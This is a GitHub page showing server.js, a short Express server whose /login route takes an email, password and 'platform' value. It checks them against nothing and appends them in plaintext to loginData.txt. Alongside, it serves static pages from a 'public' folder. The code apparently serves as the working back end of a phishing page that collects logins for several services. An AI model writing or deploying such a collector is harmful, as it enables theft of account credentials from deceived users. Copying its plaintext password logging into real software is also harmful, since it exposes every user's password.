-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathserver.js
More file actions
42 lines (33 loc) · 1.31 KB
/
server.js
File metadata and controls
42 lines (33 loc) · 1.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const express = require('express');
const fs = require('fs');
const path = require('path');
const bodyParser = require('body-parser');
const { platform } = require('os');
const app = express();
const port = 3000;
// Middleware to parse JSON data from incoming requests
app.use(bodyParser.json());
// Route to handle login data and save it to a file
app.post('/login', (req, res) => {
const { email, password, platform } = req.body;
if (!email || !password) {
return res.status(400).json({ success: false, message: 'Email and password are required.' });
}
// Create a log message
const logMessage = `Email: ${email}, Password: ${password}, Platform: ${platform}\n`;
// Append the login data to the file (loginData.txt)
fs.appendFile(path.join(__dirname, 'loginData.txt'), logMessage, (err) => {
if (err) {
console.error('Error writing to file:', err);
return res.status(500).json({ success: false, message: 'Failed to save data.' });
}
// Respond with success
return res.json({ success: true, message: 'Data saved successfully!' });
});
});
// Serve static files (like your HTML, CSS, JS)
app.use(express.static('public'));
// Start the server
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});